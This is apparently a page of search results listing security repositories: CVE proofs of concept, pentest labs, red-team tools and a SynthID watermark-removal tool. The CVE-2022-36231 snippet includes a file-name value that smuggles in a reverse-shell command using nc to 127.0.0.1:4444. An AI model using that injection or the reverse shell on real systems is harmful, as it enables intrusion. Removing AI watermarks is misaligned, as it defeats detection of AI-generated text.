45867 matches found
CVE-2022-36231
CVE-2022-36231 Ruby gem pdfinfo /dev/null initialize メソッドと同様に、@pdfpath 変数に対する検証は行われません。これにより、; を使用したコマンドチェーンを利用して任意のコマンドを実行できます。 info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc 127.0.0.1 4444/tmp/f' pp info.metadata 上記のコードスニペットは、ポート 4444 で 127.0.0.1...
reverse-SynthID-text
SynthID ウォーターマークのリバースエンジニアリング 概要 このディレクトリには、AI 生成テキストから SynthID ウォーターマークを分析・除去するためのツールが含まれています。このウォーターマークは Google DeepMind によって開発され、Nature 2024 に掲載されました。 SynthID の仕組み ウォーターマーク埋め込みプロセス 1. N-gram コンテキスト : 各トークン位置について、SynthID は直前の ngramlen - 1 トークン デフォルト: 4 トークン をコンテキストとして考慮します。 2. ハッシュ計算 :...
bbrecon
This project is no longer maintained and I took the crawling infrastructure offline. The audience was not big enough to justify maintaining it. Bug Bounty Recon bbrecon is a free Recon-as-a-Service for bug bounty hunters and security researchers. The API aims to provide a continuously up-to-date...
bbrecon
このプロジェクトはメンテナンスを終了し、クローリングインフラストラクチャはオフラインになりました。 利用者が十分に多くなかったため、維持する正当性がありませんでした。 Bug Bounty Recon bbrecon は、バグ報奨金ハンターやセキュリティ研究者向けの無料の Recon-as-a-Service です。このAPIは、スコープ外のターゲットを除外した、インターネットの「安全なハーバー」攻撃対象領域の継続的に更新されるマップを提供することを目的としています。 人間工学に基づいたCLIとPythonライブラリが付属しています。 重要な注意事項 bbrecon...
pentest_lab
ペンテストラボ もう積極的には開発していませんが、バグ修正やIssue・プルリクエストの確認は行います。 助けていただけると幸いです : このローカルペンテストラボは、docker composeを利用して複数の被害者サービスとKali Linuxが動作する攻撃者サービスを立ち上げます。初めてこのラボを実行する場合、さまざまなDockerイメージのダウンロードに時間がかかります。 スクリーンキャスト 実行したコマンド: ./lab.sh --help ./lab.sh --check-dependencies ./lab.sh --up --all-services ./lab.sh...
pentest_lab
Pentest Lab I'm not actively developing on this anymore, but will fix bugs and look at issues and pull requests. Help is appreciated : This local pentest lab leverages docker compose to spin up multiple victim services and an attacker service running Kali Linux. If you run this lab for the first...
PsMapExec
PsMapExec 🚀 PsMapExecとは？ PsMapExec は、PowerShellベースのポストエクスプロイテーションフレームワークであり、著名なCrackMapExec / NetExec ツールに大きく影響を受けています。これらのツールの親しみやすい外観と機能をネイティブPowerShellに取り入れ、独自の改良を加えています。このツールは、ペネトレーションテスターがActive Directory環境を容易に評価し、支配するために設計されています。 ⭐ PsMapExecをお楽しみですか？ プロジェクトにスターを付けて、広めてサポートを示しましょう。 📖 使用方法...
DVWA
DAMN VULNERABLE WEB APPLICATION（脆弱極まりないWebアプリケーション） Damn Vulnerable Web Application（DVWA）は、非常に脆弱なPHP/MariaDBベースのWebアプリケーションです。その主な目的は、セキュリティ専門家が合法的な環境でスキルやツールをテストし、Web開発者がWebアプリケーションのセキュリティ確保プロセスをより深く理解し、学生や教師が制御された教室環境でWebアプリケーションセキュリティを学ぶための支援を提供することです。 DVWAの目標は、さまざまな難易度レベル で、最も一般的なWeb脆弱性のいくつか...
frp
frp README | 中文文档 Sponsors frp is an open source project with its ongoing development made possible entirely by the support of our awesome sponsors. If you'd like to join them, please consider sponsoring frp's development. Gold Sponsors The complete IDE crafted for professional Go developers The...
frp
frp README | 中文文档 赞助商 frp 是一个开源项目，其持续开发完全由我们出色的赞助商的支持所推动。如果您想加入他们，请考虑赞助 frp 的开发。 金牌赞助商 为专业 Go 开发者打造的完整 IDE 让您掌控一切的自主云 一个开源、自托管的公有云替代方案，专为数据所有权和隐私而构建 Recall.ai - 会议录制 API 如果您正在寻找会议录制 API，请考虑查看 Recall.ai， 这是一个可录制 Zoom、Google Meet、Microsoft Teams、线下会议等的 API。 frp 是什么？ frp 是一个快速反向代理，允许您将位于 NAT...
CVE-2025-45778
CVE-2025-45778 CVE-2025-45778: 認証済みストアドXSS脆弱性。 Language Sloth Web Application v1.0における認証済みストアドクロスサイトスクリプティング（XSS）脆弱性により、攻撃者は新規プロジェクト作成時に「説明」テキストフィールドに細工したペイロードを注入することで、任意のJavaScriptやHTMLコードを実行できます。 ペイロードが注入されると、ユーザーがページを開くたびにペイロードがトリガーされます。 alert'XSS' のような単純なペイロードでも、ストアドXSS脆弱性をトリガーするのに十分です。...
CVE-2015-57115
CVE-2015-57115 Comprobador Masivo Para CVE-2015-57115 Descripción El script verificador CVE-2015-57115 es una herramienta en Python para detectar vulnerabilidades relacionadas con CVE-2015-57115, que es una vulnerabilidad de traversal de rutas en ciertas aplicaciones PHP. El script comprueba...
CVE-2024-26160
CVE-2024-26160（cldflt.sys 信息泄露漏洞） 这里有一篇关于 CVE-2024-26160 的简短分析，该漏洞可在二月补丁（KB5034765 ，Windows 11 22H2、Windows 11 23H2）中找到。该漏洞已在三月补丁（KB5035853 ）中修复。 分析 该漏洞位于 CldiPortProcessGetRangeInfo 函数中，它没有 检查用户应用程序传入的缓冲区大小。由于该大小可由用户控制，memmove（用于复制返回的信息）在正确传入大小的情况下，可以获取包含内核地址的相邻内存池。 三月补丁（KB5035853 ）引入了对缓冲区大小的额外检...
CVE-2026-42945-POC
CVE-2026-42945 NGINX Rift - HTB対応エクスプロイト 2024年に発見されたNGINXのヒープバッファオーバーフロー脆弱性のためのスタンドアロンエクスプロイト。このバージョンは、DockerコンテナをセットアップできないHackTheBoxやCTF環境向けに最適化されています。 脆弱性の詳細 CVE-2026-42945 は、2008年（バージョン0.6.27）から存在するNGINXの ngxhttprewritemodule における深刻なヒープバッファオーバーフローです。このバグは以下の場合に発生します： 1. rewrite ディレクティブの置換文字列に...
Security-Champions
OWASP 安全卫士指南 使用 MKDocs 将我们的内容托管在 https://securitychampions.owasp.org/ 上（与 OWASP 项目页面并列）。 灵感来自 https://github.com/OWASP/API-Security 和 https://github.com/OWASP/Top10/tree/master/2021。 在 Windows 上构建本地副本 安装 python python3 -m pip install -r requirements.txt python3 -m pip install mkdocs 本地测试 python3 ...
malpedia-flossed
Malpedia FLOSSed このリポジトリには、Malpedia 内のすべてのアンパックおよびダンプされたサンプルに FLARE FLOSS ツール を適用し、さらに利用するために前処理した結果が含まれています。 このコレクションは定期的に更新する予定です。 今年 2026 年 1 月の最後の実行では、2.136 のマルウェアファミリに関連する 9.202 ファイルが処理されました。 FLOSSing の結果、61.135.522 の生の文字列が抽出され、クリーニングと重複排除の結果、5.666.515 の一意な文字列にまで削減されました。 展開後、コレクションのサイズは約 130...
Fennec
Fennec 🦊 fennec 是一个使用 Rust 编写的工件收集工具，用于在基于 nix 的系统上进行应急响应。fennec 允许你编写一个配置文件，其中包含如何收集工件。 特性 🌟 🦀 单个静态编译的二进制文件 🔬 执行任意 osquery SQL 查询 💻 执行系统命令并解析其输出 📚 使用正则表达式解析任何文本文件 🧰 能够收集系统日志和文件 🧱 以结构化方式返回数据 🃏 支持多种输出格式（JSONL、CSV 和 KJSON） 🤸♀️ 灵活的配置文件 💾 直接写入 ZIP 文件以节省空间 ⚡ 速度非常快！ 测试 🧪 操作系统详情| 架构| 成功?| 详情...
StayKit
StayKit - Cobalt Strike 持久化工具包 StayKit 是一个 Cobalt Strike 持久化扩展，通过利用 executeassembly 函数与 SharpStay .NET 程序集来实现。Aggressor 脚本通过读取特定执行类型的模板文件来处理 payload 的创建。 重要提示：要使用该脚本，用户只需加载 StayKit.cna aggressor 脚本。此外，需要编译 SharpStay 程序集并将其放置在 StayKit.cna 所在的目录中。最后，如果选择 payload 的模板，某些模板可能需要动态编译，这会用到 Mono。 持久化菜单将添加...
safe-chain
Aikido Safe Chain ✅ Block malware on developer laptops and CI/CD ✅ Supports npm and PyPI more package managers coming ✅ Blocks packages newer than 48 hours without breaking your build ✅ Tokenless, free, no build data shared Need protection beyond npm & PyPI? Aikido Device Protection builds on Saf...
litesploit
Litesploitとは？ Litesploitは、ペネトレーションテストツールのためのライブラリ兼インタプリタです。これにはエクスプロイト、ツール、およびlitepreterが含まれます。 Litesploitは、UbuntuやDebianのようなLinux、およびBackBoxやKali Linuxのようなペネトレーションテスト用のディストリビューションをサポートしています。 Platform| Support ---|--- Linux Ubuntu| はい Linux Debian| はい Microsoft Windows| いいえ ドキュメント インストール 要件...
XCTR-Hacking-Tools
🍀 XCTR ハッキングツール 🍀 バージョン 1.0.0 情報収集 のためのオールインワンツール。 Instagram: Capture the Root 🖼️ スクリーンショット 🖼️ 📹 使い方 📹 画像をクリックしてください... Jolanda de Koff さん、ありがとうございます。 素晴らしい記事が多数掲載されている https://hackingpassion.com をご覧ください。 📒 お読みください 📒 最初に、すべてを保存するプロジェクトを作成する必要があります 。 収集された情報はすべて、results ディレクトリ内の "project-name"...
cypher
🌹 CYPHER TOOLS 🌹 Written by TMRSWRR Version 1.0.0 暗号学 のためのオールインワンツール。 Instagram: Capture the Root 🖼️ スクリーンショット 🖼️ 📹 使い方 📹 画像をクリックしてください... 🧰 機能 🧰 このツールには以下が含まれます: 📍 HASH 📍 RSA 📍 XOR 📍 AES ECC 📍 AES CBC 📍 DES ECB 📍 FERNET 📍 RC2 📍 RC4 📍 CHACHA20POLY1305 📍 TRANSPOSITION 📍 DIFFIE HELMAN 📍 IMAGE...
cypher
🌹 CYPHER TOOLS 🌹 Written by TMRSWRR Version 1.0.0 All in one tools for CRYPTOLOGY. Instagram: Capture the Root 🖼️ Screenshots 🖼️ 📹 How to use 📹 Click on the image... 🧰 Features 🧰 This tool include: 📍 HASH 📍 RSA 📍 XOR 📍 AES ECC 📍 AES CBC 📍 DES ECB 📍 FERNET 📍 RC2 📍 RC4 📍 CHACHA20POLY1305 📍...
IronPE
IronPE - Rustで書かれた最小限のWindows PE手動ローダー Rust PEローダー / 手動マッピング実装 IronPE は、x86およびx64両方のPEファイルに対応した、Rustで書かれた最小限のWindows PE手動ローダーです。 このプロジェクトは、Cで手動PEローダーを実装した以前のプロジェクトdotNetPELoaderの Rustによる再実装です。 IronPEの目標は、WindowsがPortable Executableを内部でどのように読み込むかを探求し、そのプロセスをRustで実装できることを示すことです。 Waaaahhhhhhh! If yo...
deep-pwning
Deep-pwning is a lightweight framework for experimenting with machine learning models with the goal of evaluating their robustness against a motivated adversary. Note that deep-pwning in its current state is no where close to maturity or completion. It is meant to be experimented with, expanded...
deep-pwning
Deep-pwningは、機械学習モデルを対象に、意欲的な攻撃者に対する堅牢性を評価するための軽量フレームワークです。 現在の状態のdeep-pwningは、 成熟や完成には程遠い ことに注意してください。これは、あなたが実験し、拡張し、発展させていくことを意図しています。そうすることで初めて、真に 統計的機械学習モデルのための侵入テストツールキット となるのです。 背景 研究者たちは、機械学習モデル（分類器、クラスタリング器、回帰器など）をだまして客観的に誤った決定をさせることが驚くほど簡単であることを発見しました。この研究分野は 敵対的機械学習...
goblin
libgoblin Documentation https://docs.rs/goblin/ changelog Usage Goblin requires rustc 1.85.0 Rust 2024 edition. Add to your Cargo.toml dependencies goblin = "0.10" Features awesome crate name zero-copy, cross-platform, endian-aware, ELF64/32 implementation - wow! zero-copy, cross-platform,...
goblin
libgoblin ドキュメント https://docs.rs/goblin/ changelog 使用法 Goblinはrustc 1.85.0（Rust 2024エディション）を必要とします。 Cargo.tomlに追加してください。 dependencies goblin = "0.10" 機能 素晴らしいクレート名 ゼロコピー、クロスプラットフォーム、エンディアン対応のELF64/32実装 – すごい！ ゼロコピー、クロスプラットフォーム、エンディアン対応の32/64ビットMach-oパーサー – 驚き！ PE 32/64ビットパーサー – ビンゴ！ Unix および...
apk.sh
🕹️ apk.sh apk.sh is a Bash script that makes reverse engineering Android apps easier, automating some repetitive tasks like pulling, decoding, rebuilding and patching an APK. Features apk.sh basically uses apktool to disassemble, decode and rebuild resources and some bash to automate the frida...
apk.sh
🕹️ apk.sh apk.sh は Android アプリのリバースエンジニアリングを容易にする Bash スクリプトで、APK のプル、デコード、リビルド、パッチ適用といった繰り返し作業を自動化します。 機能 apk.sh は基本的に apktool を使用してリソースの逆アセンブル、デコード、リビルドを行い、一部の bash で frida ガジェット注入プロセスを自動化します。 また、アプリバンドル/スプリット APK もサポートしています。 🍄 起動時に frida-gadget.so をロードするための APK パッチ適用。 🆕...
metasploitable3
Metasploitable3 Metasploitable3は、多数のセキュリティ脆弱性を備えたゼロから構築されたVMです。これは、metasploitを使用してエクスプロイトをテストするためのターゲットとして使用することを目的としています。 Metasploitable3はBSDスタイルのライセンスの下でリリースされています。詳細についてはCOPYINGを参照してください。 クイックスタート https://app.vagrantup.com/rapid7/ で提供されているプレビルドイメージを使用するには、新しいローカルのmetasploitableワークスペースを作成します。...
ESP32Marauder
ESP32 Marauder 一套适用于 ESP32 的 WiFi/蓝牙攻防工具套件 快速入门 下载固件的最新版本。 查看项目 wiki 以全面了解 ESP32 Marauder 现已发售 你可以通过此链接购买 ESP32 Marauder...
CVE-2018-6574
此存储库没有 README。...
CVE-2017-0290-
CVE-2017-0290- こんにちは、私はリビア出身のGihad Alkmatyです スクリプト CVE-2017-0290- 専門家がWindows DEFINDERを破壊 windows/8.1/10/...
CVE-2024-21762-Checker
CVE-2024-21762 检查器 该脚本对CVE-2024-21762（Fortinet SSL VPN远程代码执行漏洞）执行漏洞扫描。它通过发送特定请求并分析响应，检查给定服务器是否受此CVE影响。 更多信息，请参阅此Bishop Fox博客文章 公开漏洞日期：2024/02/28 受影响版本：FortiOS 6.0 至 7.4.2 FortiOS 版本| 受影响版本| 建议操作 ---|---|--- FortiOS 7.6| 不受影响| 不适用 FortiOS 7.4| 7.4.0 至 7.4.2| 升级至 7.4.3 或更高版本 FortiOS 7.2| 7.2.0 至...
Common-Vulnerability-and-Exploit
Common-Vulnerability-and-Exploit-5638 这是Apache Struts CVE-2017-5638 struts 2漏洞。同一个CVE导致了equifax数据库泄露。 一份关于如何应用和修补此漏洞的说明。...
CVE-2024-44902-env
CVE-2024-44902 - ThinkPHP 安全でないデシリアライゼーションによるRCE nuclei-templates検証用の脆弱環境。 脆弱性の詳細 フィールド| 値 ---|--- CVE ID| CVE-2024-44902 重要度| 重大 CVSS 9.8 製品| ThinkPHP 影響を受けるバージョン| 6.1.3 - 8.0.4 タイプ| 安全でないデシリアライゼーション → RCE CWE| CWE-502 説明 ThinkPHP バージョン 6.1.3 から 8.0.4 には、安全でないデシリアライゼーションの脆弱性が含まれています。Memcached PH...
CVE-2019-1218
CVE-2019-1218 Outlook iOS 欺骗漏洞 我在 iOS Outlook 移动应用程序中发现了 XSS。Microsoft Outlook for iOS 中存在一个严重漏洞，可能允许攻击者控制受害者的设备。该安全问题可能使恶意行为者能够使用电子邮件客户端在任何 iOS 智能手机或平板电脑上执行跨站脚本（XSS）攻击。这是由于软件解析特制电子邮件消息的方式所致。 通过使用 JavaScript 载荷，可以修改应用程序上的内容。 Microsoft Outlook iOS...
Crawlector
Crawl e ctor Crawlector（名前CrawlectorはCrawl er （クローラー）と Detector （検出器）を組み合わせたものです）は、Webサイトを悪意のあるオブジェクトについてスキャンするために設計された脅威ハンティングフレームワークです。 注1 : このフレームワークは、2022年10月22日にイタリア・ベルガモで開催されたNo Hatカンファレンスで初めて発表されました（スライド、YouTube録画）。また、2022年12月2日にシンガポールで開催されたAVARカンファレンスでも2回目の発表が行われました。 注2 :...
OpenMalleableC2
OpenMalleableC2 Cobalt StrikeのMalleable C2のオープンソース実装 OpenMalleableC2は、HTTP変換のためのCobalt StrikeのMalleable C2プロファイル形式を実装したフレームワーク非依存のライブラリです。これにより、セキュリティ研究者やレッドチームは、カスタムツールやC2フレームワークでMalleable C2通信を簡単に実装できます。 Malleable C2プロファイルをそのまま利用して、任意のデータをHTTP経由で透過的かつ（できれば）安定した方法で送信できます。 なぜこれを作ったのか？...
AngryOxide
AngryOxide 😡 一个用 Rust 构建的 802.11 攻击工具 🦀 ! 此工具仅供研究目的使用。对于您在使用 AngryOxide 时所做的任何事情或造成的损害，我概不负责。请仅对您拥有权限的网络使用。 AngryOxide 的开发初衷是同时学习 Rust、netlink、内核套接字和 WiFi 利用技术。 您可以在用户指南中获取有关如何使用 AngryOxide 的信息。 注意：该项目正处于密集开发阶段，您可能会看到非常频繁的发布周期。 该工具的总体目标是提供单一界面的勘查能力，并配备先进的自动化攻击，最终生成可用 Hashcat 破解的有效 hashline。...
presidio
Presidio - データ保護と脱識別SDK 📣 Presidioは新しいホームに移転します！ 詳しくはこちら 📣 コンテキスト認識可能で、プラグイン可能、カスタマイズ可能なテキストおよび画像向けPII脱識別サービス。 コンポーネント| ダウンロード数| カバレッジ ---|---|--- Presidio Analyzer| | Presidio Anonymizer| | Presidio Image-Redactor| | Presidio Structured|...
ams-failopen
AppleMediaServices 中的失效开放签名（零日披露） 概述 此问题构成了一个现有的零日漏洞，反映了 AppleMediaServices.framework 中的系统性设计缺陷，而非回归或特定版本的错误。 Apple 的 AppleMediaServices 框架中存在一个关键的失效开放缺陷：如果远程配置文件（"Bag"）加载失败，请求签名会被静默禁用。这影响 iOS、macOS、tvOS 和 watchOS。 当 Bag 无法检索（由于 DNS 操纵、超时或网络干扰）时，AppleMediaServices 守护进程会禁用 Mescal/Absinthe 签名，并向...
react-rce
CVE-2025-55182 React2Shell 漏洞实践 使用的 AI : Claude Opus 4.5 ⚠️ 警告 ：此环境仅用于教育和研究目的 。 漏洞概述 项目| 内容 ---|--- CVE| CVE-2025-55182 React / CVE-2025-66478 Next.js 名称| React2Shell CVSS| 10.0 Critical 类型| Pre-Auth Remote Code Execution 原因| Flight 协议反序列化时的原型污染 攻击原理 ┌─────────────────────────┐ │ Attacker │...
CVE-2024-5009
CVE-2024-5009 Progress WhatsUp Gold SetAdminPassword 权限提升漏洞（CVE-2024-5009）的PoC 关于该漏洞的根本原因分析可在我的博客中找到： https://summoning.team/blog/progress-whatsup-gold-privesc-setadminpassword-cve-2024-5009/ 使用方法 python3 CVE-2024-5009.py --target https://192.168.0.231/ | | | | | | | | | | | | \ | | | \ | | | | |...
CVE-2022-2588
CVE-2022-2588...
gollina
$ gollina -h gollina Follina MS-MSDT 0-day MS Office RCE PoC in Go -- @dwisiswant0 Usage: gollina -c COMMAND OPTIONS... Options: -h, --host Listener host default: 0.0.0.0 -p, --port Listener port default: 8090 -n, --name Word file name w/o extension, default: gollina -c, --command Arbitrary comma...
toolbox
-Significant%20AI%2C%20fully%20reviewed-1f77b4 コーディングエージェント向けのMCPベースのアプリケーションセキュリティテストツール。 スキャナーではなく、協調的なワークベンチです。エージェントはUIやステートフルなAPIが苦手ですが、あなたはどちらも得意です。Sectoolを使えば、プロキシを通じてアプリケーションを探索しながら、エージェントがあなたが生成したのと同じ認証済みトラフィックを分析・操作できます。...